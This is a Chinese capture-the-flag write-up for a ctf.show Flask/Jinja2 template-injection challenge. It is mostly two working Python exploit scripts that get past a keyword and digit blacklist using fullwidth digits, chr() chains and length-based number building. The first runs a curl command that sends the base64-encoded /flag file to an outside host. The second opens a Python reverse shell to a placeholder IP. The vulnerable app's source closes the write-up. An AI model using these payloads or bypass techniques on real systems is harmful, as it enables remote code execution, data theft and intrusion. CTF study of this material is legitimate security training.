Werkzeug/1.0.1Python/3.8.7
综合web370的全角做法
(这里把 +
号换成了 ~
号就不用额外 URL编码一次了,防止 +
号被解码为空格)
import requests
from urllib.parse import quote
url = 'http://9c5f0c62-3b13-4173-ba56-aeae6b7956eb.challenge.ctf.show:8080'
cmd_raw = 'curl http://xxx:2233/`cat /flag|base64`'
def halfnum2full(half):
full = ''
for ch in half:
if ord(ch) in range(48, 58):
ch = chr(ord(ch) + 0xfee0)
else:
pass
full += ch
return full
cmd = ''
for i in cmd_raw:
cmd += 'chr(' + str(ord(i)) + ')~'
cmd = cmd.rstrip('~')
raw = """/?name={% set x=()|select|string|list|attr(dict(pop=1)|join)(24) %}
{% set g=x~x~(dict(globals=x)|join)~x~x %}
{% set ge=x~x~(dict(getitem=x)|join)~x~x %}
{% set b=x~x~(dict(builtins=x)|join)~x~x %}
{% set buin=(lipsum|attr(g)|attr(ge))(b) %}
{% set chr=buin.chr %}
{% set o=lipsum|attr(g)|attr(ge)(chr(111)~chr(115)) %}
{% set cmd="""+cmd+""" %}
{%if o.system(cmd) %}
{%endif%}"""
payload = ''
for i in raw:
payload += halfnum2full(i)
print(payload)
# 请求
req = requests.get(url + payload)
print(req.text)
base64解码一下URL部分就可以了~
另外一种就是web371的做法,不过要把count
换成length
,因为count
被过滤了
import requests
url = "http://44d624d7-7c45-4e23-9f39-d6d1c62589ec.challenge.ctf.show:8080"
cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
def trans_to_placeholder(int_str):
int_placeholder = list(map(lambda x: (int(x) + 1) * 'c', int_str))
return '(' + '~'.join(int_placeholder) + ')|int'
def c_chr(s):
placeholder_list = ['chr(' + trans_to_placeholder(str(ord(c))) + ')' for c in s]
return '~'.join(placeholder_list)
payload = """/?name=
{% set c=(t|length)%}
{% set cc=(dict(e=a)|join|length)%}
{% set ccc=(dict(ee=a)|join|length)%}
{% set cccc=(dict(eee=a)|join|length)%}
{% set ccccc=(dict(eeee=a)|join|length)%}
{% set cccccc=(dict(eeeee=a)|join|length)%}
{% set ccccccc=(dict(eeeeee=a)|join|length)%}
{% set cccccccc=(dict(eeeeeee=a)|join|length)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|length)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|length)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|length)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=""" + c_chr(cmd) + """ %}
{%if x.exec(cmd)%}
{%endif%}"""
print(url + payload)
# 请求
req = requests.get(url + payload)
print(req.text)
顺便白嫖一下源码
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print|count",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)